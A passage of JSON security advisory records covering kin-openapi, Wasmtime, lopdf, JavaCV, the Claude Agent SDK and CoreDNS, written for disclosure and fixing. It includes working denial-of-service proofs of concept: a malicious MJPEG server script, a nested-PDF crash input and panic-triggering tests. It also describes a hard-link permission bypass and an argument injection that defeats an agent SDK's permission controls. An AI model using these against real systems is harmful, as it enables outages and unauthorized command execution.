availability.\n\nIf it is your own spec, nothing attacker-controlled starts it, but any client reaching that route then crashes the process. It fires on every call, so normally you would see it the first time that route runs. A spec edited without exercising the route is the case where you would not. That is the difference from GHSA-jpcw, where the attacker supplied the trigger. I have left severity unset; the two cases do not score the same.\n\nOn how common it is, I checked rather than guessed. Of roughly 1,500 OpenAPI 3.x specs on apis.guru, one declares content-typed response headers -- VTEX Catalog API -- and not in one corner of it: the shape repeats across its operations, so for that consumer this is not an edge case.\n\nThe header names in it (`X-AspNet-Version`, `p3p`, a few malformed ones) look like a generator emitting `content` where it could not infer a schema, and apis.guru only indexes public specs. There is no content-typed response header in this repo's testdata either.\n\n## Workarounds\n\nUse `schema` on the response header, or skip `ValidateResponse` for those operations. `ExcludeResponseBody` will not do it -- headers are validated before that check.\n\n## Suggested fix\n\nNil-guard at the top of `decodeValue`:\n\n```go\nif schema == nil {\n\treturn nil, false, nil\n}\n```\n\nReturning nil leaves a `content`-typed header unvalidated rather than erroring, so it trades the crash for a silent gap. An error return kills the panic just as well if you would rather it surfaced.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/getkin/kin-openapi/security-advisories/GHSA-74vm-87hj-r66f","source_code_location":"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/getkin/kin-openapi","identifiers":[{"value":"GHSA-74vm-87hj-r66f","type":"GHSA"},{"value":"CVE-2026-100349","type":"CVE"}],"references":["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/getkin/kin-openapi/security/advisories/GHSA-74vm-87hj-r66f","https://nvd.nist.gov/vuln/detail/CVE-2026-100349","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/getkin/kin-openapi/commit/f5441d67f855ed34d975b3b85665764644ab1459","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/getkin/kin-openapi/releases/tag/v0.146.0","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/advisories/GHSA-74vm-87hj-r66f"],"published_at":"2026-10-16T19:58:46Z","updated_at":"2026-10-16T19:58:47Z","github_reviewed_at":"2026-10-16T19:58:46Z","nvd_published_at":"2026-10-15T16:17:30Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/getkin/kin-openapi"},"vulnerable_version_range":"<= 0.145.0","first_patched_version":"0.146.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":0.0},"cvss_v4":{"vector_string":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.2}},"cwes":[{"cwe_id":"CWE-476","name":"NULL Pointer Dereference"}],"credits":[{"user":{"login":"vnykmshr","id":1052344,"node_id":"MDQ6VXNlcjEwNTIzNDQ=","avatar_url":"https://avatars.githubusercontent.com/u/1052344?v=4","gravatar_id":"","url":"https://api.github.com/users/vnykmshr","html_url":"/vnykmshr","followers_url":"https://api.github.com/users/vnykmshr/followers","following_url":"https://api.github.com/users/vnykmshr/following{/other_user}","gists_url":"https://api.github.com/users/vnykmshr/gists{/gist_id}","starred_url":"https://api.github.com/users/vnykmshr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vnykmshr/subscriptions","organizations_url":"https://api.github.com/users/vnykmshr/orgs","repos_url":"https://api.github.com/users/vnykmshr/repos","events_url":"https://api.github.com/users/vnykmshr/events{/privacy}","received_events_url":"https://api.github.com/users/vnykmshr/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":1,"cvss":{"vector_string":null,"score":null},"epss":{"percentage":0.00371,"percentile":0.29512}},{"ghsa_id":"GHSA-4ch3-9j33-3pmj","cve_id":"CVE-2026-58494","url":"https://api.github.com/advisories/GHSA-4ch3-9j33-3pmj","html_url":"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/advisories/GHSA-4ch3-9j33-3pmj","summary":"Wasmtime: WASI hard links bypass wasmtime-wasi's FilePerms for destination","description":"## Summary\n\nWasmtime's WASI filesystem implementation lets a guest with a read-only source file capability overwrite that file by hard-linking it into another preopen that allows file writes. An attacker who can run a WASI guest can bypass `WasiCtxBuilder` per-preopen `FilePerms` and modify host files that were exposed as `FilePerms::READ`.\n\nThis attack is possible through the wasip1, wasip2, and wasip3 interfaces to the WASI filesystem.\n\nThis attack is also possible through an indirection of renaming a hardlink into another preopen.\n\n### Details\n\n`WasiCtxBuilder::preopened_dir` documents `file_perms` as the maximum permissions usable for files in that preopen. However, hard-link creation and renaming only checked directory mutation for permission, and not whether the file permissions matched.\n\nThis makes an attack possible where:\n* a read-only file `target` exists in a preopen with only FilePerms::READ\n* a hardlink named `alias`, with destination to the `target`, is created in a preopen with FilePerms::READ | FilePerms::WRITE\n* the attacker opens the file `alias` for writing, in which they can overwrite `target`\n\nThe same attack is possible by way of renaming:\n* a read-only file `target` exists in a preopen with only FilePerms::READ\n* a hardlink named `alias`, with destination to the `target`, is created in that same preopen\n* the `alias` file is renamed into a preopen with FilePerms::READ | FilePerms::WRITE\n* the attacker opens the file `alias` for writing, in which they can overwrite `target`\n\nSymbolic links are not a vector for this attack because the wasi-filesystem interfaces already enforces that the destination for a symlink is under the same preopen. We do not believe there are any other vectors to this attack because there are no other wasi filesystem interfaces that take multiple borrows of a descriptor resource for e.g. the source and destination in different descriptors.\n\n### Remediation\n\nThe definition of `Dir::link_at` and `Dir::rename_at` in wasmtime-wasi's `src/filesystem.rs` now have an additional permissions check that ensures the source and destination values for the directory permissions `perms` and the file permissions `file_perms` are identical.\n\n```rust\n        if self.perms != new_dir.perms || self.file_perms != new_dir.file_perms {\n            return Err(ErrorCode::NotPermitted);\n        }\n```\n\n### Impact\n\nOnly wasmtime-wasi embeddings that use a combination of DirPerms::MUTATE with FilePerms::READ, as well as using a second preopen with higher permissions (FilePerms::WRITE as well), are affected by this bug, e.g. those that use in the WasiCtxBuilder:\n\n```rust\nbuilder.preopened_dir(\"readwrite\", \"readwrite\", DirPerms::READ | DirPerms::MUTATE, FilePerms::READ | FilePerms::WRITE);\nbuilder.preopened_dir(\"readonly\", \"readonly\", DirPerms::READ | DirPerms::MUTATE, FilePerms::READ);\n```\n\nIn particular, the Wasmtime project's wasmtime-cli's use of wasmtime-wasi is not affected, because it always sets FilePerms::all() for all preopens.","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/bytecodealliance/wasmtime/security-advisories/GHSA-4ch3-9j33-3pmj","source_code_location":"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/bytecodealliance/wasmtime","identifiers":[{"value":"GHSA-4ch3-9j33-3pmj","type":"GHSA"},{"value":"CVE-2026-58494","type":"CVE"}],"references":["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/bytecodealliance/wasmtime/security/advisories/GHSA-4ch3-9j33-3pmj","https://nvd.nist.gov/vuln/detail/CVE-2026-58494","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/bytecodealliance/wasmtime/pull/13725","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/bytecodealliance/wasmtime/commit/5ddfd5f1ef28f2041fa07d237ad0336e167b0e0c","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/bytecodealliance/wasmtime/commit/7db94cdcf0c79cb3dfde884b534b653f2dd83367","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/bytecodealliance/wasmtime/commit/8a250aac0962ca1364b5f16525720e9d0b39edcd","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/bytecodealliance/wasmtime/commit/d3ceb56ec35f39e02496eeb4e2d9c7f4fb964d9e","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/bytecodealliance/wasmtime/releases/tag/v24.0.11","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/bytecodealliance/wasmtime/releases/tag/v36.0.12","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/bytecodealliance/wasmtime/releases/tag/v45.0.3","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/bytecodealliance/wasmtime/releases/tag/v46.0.1","https://rustsec.org/advisories/RUSTSEC-2026-0188.html","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/advisories/GHSA-4ch3-9j33-3pmj"],"published_at":"2026-10-16T19:57:26Z","updated_at":"2026-10-16T19:57:30Z","github_reviewed_at":"2026-10-16T19:57:26Z","nvd_published_at":"2026-07-08T21:16:54Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"rust","name":"wasmtime-wasi"},"vulnerable_version_range":"< 24.0.11","first_patched_version":"24.0.11","vulnerable_functions":[]},{"package":{"ecosystem":"rust","name":"wasmtime-wasi"},"vulnerable_version_range":">= 25.0.0, < 36.0.12","first_patched_version":"36.0.12","vulnerable_functions":[]},{"package":{"ecosystem":"rust","name":"wasmtime-wasi"},"vulnerable_version_range":">= 37.0.0, < 45.0.3","first_patched_version":"45.0.3","vulnerable_functions":[]},{"package":{"ecosystem":"rust","name":"wasmtime-wasi"},"vulnerable_version_range":">= 46.0.0, < 46.0.1","first_patched_version":"46.0.1","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","score":6.5},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-281","name":"Improper Preservation of Permissions"},{"cwe_id":"CWE-863","name":"Incorrect Authorization"}],"credits":[{"user":{"login":"sdjasj","id":89853352,"node_id":"MDQ6VXNlcjg5ODUzMzUy","avatar_url":"https://avatars.githubusercontent.com/u/89853352?v=4","gravatar_id":"","url":"https://api.github.com/users/sdjasj","html_url":"/sdjasj","followers_url":"https://api.github.com/users/sdjasj/followers","following_url":"https://api.github.com/users/sdjasj/following{/other_user}","gists_url":"https://api.github.com/users/sdjasj/gists{/gist_id}","starred_url":"https://api.github.com/users/sdjasj/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sdjasj/subscriptions","organizations_url":"https://api.github.com/users/sdjasj/orgs","repos_url":"https://api.github.com/users/sdjasj/repos","events_url":"https://api.github.com/users/sdjasj/events{/privacy}","received_events_url":"https://api.github.com/users/sdjasj/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":3,"cvss":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","score":6.5},"epss":{"percentage":0.00171,"percentile":0.05696}},{"ghsa_id":"GHSA-6fj4-rcr3-r7rr","cve_id":null,"url":"https://api.github.com/advisories/GHSA-6fj4-rcr3-r7rr","html_url":"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/advisories/GHSA-6fj4-rcr3-r7rr","summary":"lopdf has a stack overflow via deeply nested PDF objects","description":"`lopdf::Document::load_mem` (and the other `load*` entry points) parses nested PDF arrays and dictionaries with unbounded recursion. A small crafted PDF whose Catalog contains a deeply nested array (`/X [[[ … ]]]`, on the order of 10,000 levels) exhausts the call stack and aborts the process with `SIGABRT`.\n\nBecause this is a stack-overflow abort rather than a `panic!`, it cannot be caught with `catch_unwind`: any service that parses untrusted PDF input with lopdf can be crashed by a ~21 KB file, resulting in a denial of service.\n\nConfirmed on lopdf 0.41.0 and earlier; fixed in 0.42.0. Default configuration, no features changed.\n\n## Proof of concept\n\n```rust\nfn main() {\n    let bytes = std::fs::read(\"poc.pdf\").unwrap(); // ~10,380-deep nested array in the Catalog\n    let _ = lopdf::Document::load_mem(&bytes);     // stack overflow -> SIGABRT\n}\n```\n\nAn equivalent PoC is a minimal PDF whose Catalog `/X` value is `\"[\" * 10380 + \"]\" * 10380`.\n\n## Suggested fix\n\nEnforce a maximum object-nesting depth in the parser and return an `Err` instead of recursing without bound.","type":"reviewed","severity":"high","repository_advisory_url":null,"source_code_location":"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/J-F-Liu/lopdf","identifiers":[{"value":"GHSA-6fj4-rcr3-r7rr","type":"GHSA"}],"references":["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/J-F-Liu/lopdf/issues/502","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/J-F-Liu/lopdf/pull/503","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/J-F-Liu/lopdf/commit/c755394ad7dd651ccfe77c618f90ab779da1dfd9","https://rustsec.org/advisories/RUSTSEC-2026-0187.html","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/advisories/GHSA-6fj4-rcr3-r7rr"],"published_at":"2026-10-16T19:55:39Z","updated_at":"2026-10-16T19:55:40Z","github_reviewed_at":"2026-10-16T19:55:39Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"rust","name":"lopdf"},"vulnerable_version_range":"< 0.42.0","first_patched_version":"0.42.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-1124","name":"Excessively Deep Nesting"}],"credits":[],"comments":0,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5}},{"ghsa_id":"GHSA-rxjv-24xq-76wc","cve_id":"CVE-2026-102834","url":"https://api.github.com/advisories/GHSA-rxjv-24xq-76wc","html_url":"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/advisories/GHSA-rxjv-24xq-76wc","summary":"JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS","description":"### Summary\n`IPCameraFrameGrabber` parses the `Content-Length` value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over `http://`, as documented in the class itself) - can supply a `Content-Length` value in the range `1073741825`-`2147483647`. This drives the internal buffer-growth routine `ensureBufferCapacity(int)` into 32-bit signed integer overflow, which turns the \"grow the buffer\" loop into a true infinite loop: the loop variable oscillates to `0` and never again satisfies the loop's exit condition. The thread that called `grab()`/`grabBufferedImage()` spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.\n\n### Details\nFile: `src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java`\n\n```java\nprivate byte[] readImage() throws IOException {\n    ...\n    int c0 = subheader.indexOf(\"content-length: \");\n    final int c1 = subheader.indexOf('\\r', c0);\n    if (c0 < 0) {\n        throw new EOFException(\"The camera stream ended unexpectedly\");\n    }\n    c0 += 16;\n    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled\n    // adaptive size - careful - don't want a 2G jpeg\n    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced\n    input.readFully(pixelBuffer, 0, contentLength);\n    ...\n}\n\nprivate void ensureBufferCapacity(int desiredCapacity) {\n    int capacity = pixelBuffer.length;          // starts at 1024\n    while (capacity < desiredCapacity) {\n        capacity *= 2;                          // <-- unchecked int multiplication\n    }\n    if (capacity > pixelBuffer.length) {\n        pixelBuffer = new byte[capacity];\n    }\n}\n```\n\n`contentLength` is taken verbatim from the HTTP response headers of the camera stream and passed directly into `ensureBufferCapacity` with no upper-bound validation (the comment \"adaptive size - careful - don't want a 2G jpeg\" shows the author was aware of the risk but never implemented a check).\n\n`ensureBufferCapacity` repeatedly doubles `capacity` (a 32-bit `int`, starting at `pixelBuffer.length == 1024`) until it is `>= desiredCapacity`. If `desiredCapacity` is greater than `2^30` (`1073741824`) but `<= Integer.MAX_VALUE` (`2147483647`):\n\n1. `capacity` reaches `2^30` (`1073741824`) after 20 doublings; the loop condition `capacity < desiredCapacity` is still true.\n2. `capacity *= 2` computes `2^31`, which overflows a signed 32-bit `int` and wraps to `Integer.MIN_VALUE` (`-2147483648`).\n3. The loop condition `capacity < desiredCapacity` (a negative number compared to a large positive `desiredCapacity`) is still true, so the loop continues.\n4. `capacity *= 2` computes `Integer.MIN_VALUE * 2`, which in two's-complement 32-bit arithmetic wraps to `0`.\n5. From this point on, `capacity` is permanently `0` (`0 * 2 == 0`), and `0 < desiredCapacity` remains true forever - the `while` loop never terminates.\n\nThis is a pure CPU-bound loop with no I/O, no blocking call, and no `InterruptedException` check, so it cannot be interrupted via `Thread.interrupt()` and will not respect any `readTimeout`/`connectionTimeout` configured on the grabber (those only apply to the socket read that happens *before* this code path). The only remedy is killing the JVM/thread from outside.\n\n### PoC\nA minimal malicious/MITM'd MJPEG server that reproduces the hang:\n\n```python\nimport socket\n\nsrv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsrv.bind((\"0.0.0.0\", 8080))\nsrv.listen(1)\nprint(\"listening on :8080\")\nconn, _ = srv.accept()\nconn.recv(4096)  # swallow the client's request\n\n# Any value in (1073741824, 2147483647] triggers the overflow.\nmalicious_length = 2000000000\nheader = (\n    \"--myboundary\\r\\n\"\n    \"Content-Type: image/jpeg\\r\\n\"\n    \"Content-Length: %d\\r\\n\\r\\n\" % malicious_length\n)\nconn.sendall(header.encode())\n# The client will now spin forever inside ensureBufferCapacity()\n# before ever attempting to read the (fake) body.\n```\n\nJava client (representative of any application embedding javacv to view an \"IP camera\" URL):\n\n```java\nimport org.bytedeco.javacv.IPCameraFrameGrabber;\nimport java.util.concurrent.TimeUnit;\n\npublic class Poc {\n    public static void main(String[] args) throws Exception {\n        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(\n            \"http://127.0.0.1:8080/videostream.cgi\", 5, 5, TimeUnit.SECONDS);\n        grabber.start();\n        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever\n    }\n}\n```\n\nRunning the client against the malicious server above causes `grab()` to hang permanently, consuming a full CPU core, regardless of the `startTimeout`/`grabTimeout` passed to the constructor.\n\n### Impact\nAny application that uses `IPCameraFrameGrabber` to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain `http://` streams (as shown in the class's own documented examples: `http://host/videostream.cgi?...`) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/bytedeco/javacv/security-advisories/GHSA-rxjv-24xq-76wc","source_code_location":"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/bytedeco/javacv","identifiers":[{"value":"GHSA-rxjv-24xq-76wc","type":"GHSA"},{"value":"CVE-2026-102834","type":"CVE"}],"references":["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/bytedeco/javacv/security/advisories/GHSA-rxjv-24xq-76wc","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/bytedeco/javacv/commit/cd1977800b827beadf3c53c4032e57172845e0b4","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/bytedeco/javacv/releases/tag/1.5.14","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/advisories/GHSA-rxjv-24xq-76wc"],"published_at":"2026-10-16T19:53:06Z","updated_at":"2026-10-16T19:53:09Z","github_reviewed_at":"2026-10-16T19:53:06Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"maven","name":"org.bytedeco:javacv"},"vulnerable_version_range":"< 1.5.14","first_patched_version":"1.5.14","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-190","name":"Integer Overflow or Wraparound"}],"credits":[{"user":{"login":"tinyb0y","id":39427151,"node_id":"MDQ6VXNlcjM5NDI3MTUx","avatar_url":"https://avatars.githubusercontent.com/u/39427151?v=4","gravatar_id":"","url":"https://api.github.com/users/tinyb0y","html_url":"/tinyb0y","followers_url":"https://api.github.com/users/tinyb0y/followers","following_url":"https://api.github.com/users/tinyb0y/following{/other_user}","gists_url":"https://api.github.com/users/tinyb0y/gists{/gist_id}","starred_url":"https://api.github.com/users/tinyb0y/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tinyb0y/subscriptions","organizations_url":"https://api.github.com/users/tinyb0y/orgs","repos_url":"https://api.github.com/users/tinyb0y/repos","events_url":"https://api.github.com/users/tinyb0y/events{/privacy}","received_events_url":"https://api.github.com/users/tinyb0y/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":6,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"epss":{"percentage":0.00335,"percentile":0.2529}},{"ghsa_id":"GHSA-h4mw-j7qp-8mwm","cve_id":"CVE-2026-96620","url":"https://api.github.com/advisories/GHSA-h4mw-j7qp-8mwm","html_url":"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/advisories/GHSA-h4mw-j7qp-8mwm","summary":"Claude Agent SDK: Argument Injection via resume Option Allows Arbitrary Command Execution","description":"The Claude Agent SDK for Python passed the `resume` option to the Claude CLI without validation, allowing a value beginning with `-` to be interpreted as a separate CLI flag. An attacker who controlled the `resume` value could inject an `--mcp-config` flag defining a stdio MCP server, resulting in arbitrary command execution at CLI startup that bypassed the SDK's permission controls. Exploitation required an application to pass untrusted input as the session ID to resume.\n\nUsers are advised to update to the latest version of the claude-agent-sdk package.\n\nThank you to hackerone.com/moamenmahmood for reporting this issue.","type":"reviewed","severity":"critical","repository_advisory_url":"https://api.github.com/repos/anthropics/claude-agent-sdk-python/security-advisories/GHSA-h4mw-j7qp-8mwm","source_code_location":"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/anthropics/claude-agent-sdk-python","identifiers":[{"value":"GHSA-h4mw-j7qp-8mwm","type":"GHSA"},{"value":"CVE-2026-96620","type":"CVE"}],"references":["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/anthropics/claude-agent-sdk-python/security/advisories/GHSA-h4mw-j7qp-8mwm","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/anthropics/claude-agent-sdk-python/pull/1123","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/anthropics/claude-agent-sdk-python/commit/347a1cb88d7652199399db1b7f914e0a459a6662","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/anthropics/claude-agent-sdk-python/releases/tag/v0.2.121","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/advisories/GHSA-h4mw-j7qp-8mwm"],"published_at":"2026-10-16T19:44:37Z","updated_at":"2026-10-16T19:44:38Z","github_reviewed_at":"2026-10-16T19:44:37Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"claude-agent-sdk"},"vulnerable_version_range":"< 0.2.121","first_patched_version":"0.2.121","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":0.0},"cvss_v4":{"vector_string":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.2}},"cwes":[{"cwe_id":"CWE-20","name":"Improper Input Validation"},{"cwe_id":"CWE-78","name":"Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"},{"cwe_id":"CWE-88","name":"Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')"}],"credits":[],"comments":1,"cvss":{"vector_string":null,"score":null},"epss":{"percentage":0.00578,"percentile":0.46418}},{"ghsa_id":"GHSA-74w3-63xv-x9mv","cve_id":"CVE-2026-62994","url":"https://api.github.com/advisories/GHSA-74w3-63xv-x9mv","html_url":"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/advisories/GHSA-74w3-63xv-x9mv","summary":"CoreDNS `k8s_external` headless AXFR can emit an empty transfer batch that panics the `transfer` plugin","description":"### Summary\n\nA network DNS client allowed to request AXFR for a CoreDNS zone can trigger a panic when CoreDNS is configured with `k8s_external` headless-service zone transfers and Kubernetes contains a headless service endpoint with no declared ports. The built-in `k8s_external` transferer can emit an empty `[]dns.RR` batch, and the shared `transfer` plugin indexes `records[0]` without checking that the batch is non-empty. In normal CoreDNS mode the panic is recovered and returned as `SERVFAIL`, but repeated triggering can disrupt requests and amplify panic logging; if the `debug` plugin disables recovery, the same path can crash the CoreDNS process.\n\n### Details\n\n`plugin/transfer/transfer.go` assumes that every `Transferer` emits only non-empty `[]dns.RR` batches. During AXFR/IXFR response generation it indexes `records[0]` without checking the slice length:\n\n- `plugin/transfer/transfer.go:129-131`\n\n```go\nfor records := range pchan {\n    if x, ok := records[0].(*dns.SOA); ok && soa == nil {\n        soa = x\n    }\n```\n\nThe built-in `k8s_external` transferer violates that contract for headless services whose endpoints have no declared ports. `plugin/k8s_external/transfer.go` sends the SRV result slice unconditionally:\n\n- `plugin/k8s_external/transfer.go:104-106`\n\n```go\nrecs, _ := e.srv(ctx, svcs, s)\nch <- recs\n```\n\n`plugin/k8s_external/msg_to_dns.go` intentionally skips services whose port is `-1`:\n\n- `plugin/k8s_external/msg_to_dns.go:107-112`\n\n```go\nfor _, s := range services {\n    // Don't add the entry if the port is -1 (invalid). The kubernetes plugin uses port -1 when a service/endpoint\n    // does not have any declared ports.\n    if s.Port == -1 {\n        continue\n    }\n```\n\nThe Kubernetes EndpointSlice conversion creates that sentinel when an EndpointSlice has no ports:\n\n- `plugin/kubernetes/object/endpoint.go:62-66`\n\n```go\nif len(ends.Ports) == 0 {\n    // Add sentinel if there are no ports.\n    e.Subsets[0].Ports = []EndpointPort{{Port: -1}}\n```\n\nThis creates a built-in source-to-sink chain:\n\n1. Kubernetes EndpointSlice has ready addresses and no ports.\n2. CoreDNS `kubernetes` converts it to an endpoint with `Port: -1`.\n3. `k8s_external` with `headless` includes that service in transfer data.\n4. `k8s_external.Transfer` sends an empty SRV `[]dns.RR` batch.\n5. `transfer.ServeDNS` indexes `records[0]` and panics.\n\nSuggested remediation:\n\n1. In `plugin/transfer/transfer.go`, skip or reject empty `records` batches before indexing `records[0]`.\n2. In `plugin/k8s_external/transfer.go`, only send `recs` when `len(recs) > 0` in the headless endpoint and port/protocol paths.\n3. Add regression tests covering `Port: -1` headless services and empty transfer batches.\n\nExample consumer-side guard:\n\n```go\nfor records := range pchan {\n    if len(records) == 0 {\n        continue\n    }\n    if x, ok := records[0].(*dns.SOA); ok && soa == nil {\n        soa = x\n    }\n    ...\n}\n```\n\n### PoC\n\nSafe local unit-level reproduction was performed. It does not contact external infrastructure and does not require a live Kubernetes cluster.\n\n#### Reproducer A: the `transfer` sink panics on an empty batch\n\nA temporary package test was added under `plugin/transfer`:\n\n```go\npackage transfer\n\nimport (\n    \"context\"\n    \"fmt\"\n    \"testing\"\n\n    \"github.com/coredns/coredns/plugin/pkg/dnstest\"\n    \"github.com/coredns/coredns/plugin/test\"\n\n    \"github.com/miekg/dns\"\n)\n\ntype auditEmptyBatchTransferer struct{}\n\nfunc (auditEmptyBatchTransferer) Transfer(zone string, serial uint32) (<-chan []dns.RR, error) {\n    if zone != \"example.org.\" {\n        return nil, ErrNotAuthoritative\n    }\n    ch := make(chan []dns.RR, 3)\n    ch <- []dns.RR{test.SOA(fmt.Sprintf(\"%s 100 IN SOA ns.dns.%s hostmaster.%s %d 7200 1800 86400 100\", zone, zone, zone, 1))}\n    ch <- []dns.RR{}\n    close(ch)\n    return ch, nil\n}\n\nfunc TestAuditEmptyTransferBatchPanics(t *testing.T) {\n    tr := &Transfer{\n        Transferers: []Transferer{auditEmptyBatchTransferer{}},\n        xfrs:        []*xfr{{Zones: []string{\"example.org.\"}, to: []string{\"*\"}}},\n    }\n\n    req := new(dns.Msg)\n    req.SetQuestion(\"example.org.\", dns.TypeAXFR)\n    rec := dnstest.NewRecorder(&test.ResponseWriter{TCP: true})\n\n    defer func() {\n        if rec := recover(); rec == nil {\n            t.Fatal(\"expected empty transfer batch to panic\")\n        }\n    }()\n\n    _, _ = tr.ServeDNS(context.Background(), rec, req)\n}\n```\n\nVerification command and result:\n\n```text\n$ go test ./plugin/transfer -run TestAuditEmptyTransferBatchPanics -count=1 -v\n=== RUN   TestAuditEmptyTransferBatchPanics\n--- PASS: TestAuditEmptyTransferBatchPanics (0.00s)\nPASS\nok  \tgithub.com/coredns/coredns/plugin/transfer\t0.005s\n```\n\n#### Reproducer B: the built-in `k8s_external` transferer emits the empty batch\n\nA temporary package test was added under `plugin/k8s_external`:\n\n```go\npackage external\n\nimport (\n    \"testing\"\n    \"time\"\n\n    \"github.com/coredns/coredns/plugin/etcd/msg\"\n    \"github.com/coredns/coredns/plugin/kubernetes\"\n    \"github.com/coredns/coredns/request\"\n\n    \"github.com/miekg/dns\"\n)\n\nfunc TestAuditHeadlessNoPortTransferEmitsEmptyBatch(t *testing.T) {\n    e := New()\n    e.Zones = []string{\"example.com.\"}\n    e.headless = true\n    e.externalAddrFunc = func(request.Request, bool) []dns.RR { return nil }\n    e.externalSerialFunc = func(string) uint32 { return 1 }\n    e.externalServicesFunc = func(string, bool) ([]msg.Service, map[string][]msg.Service) {\n        return nil, map[string][]msg.Service{\n            \"/coredns/com/example/testns/headless/\" + kubernetes.Endpoint: {{Host: \"192.0.2.10\", Port: -1, TTL: 5, Key: \"/coredns/com/example/testns/headless/endpoint-a\"}},\n        }\n    }\n\n    ch, err := e.Transfer(\"example.com.\", 0)\n    if err != nil {\n        t.Fatalf(\"Transfer returned error: %v\", err)\n    }\n\n    deadline := time.After(time.Second)\n    for {\n        select {\n        case batch, ok := <-ch:\n            if !ok {\n                t.Fatal(\"transfer closed before emitting an empty batch\")\n            }\n            if len(batch) == 0 {\n                return\n            }\n        case <-deadline:\n            t.Fatal(\"timed out waiting for an empty batch\")\n        }\n    }\n}\n```\n\nVerification command and result:\n\n```text\n$ go test ./plugin/k8s_external -run TestAuditHeadlessNoPortTransferEmitsEmptyBatch 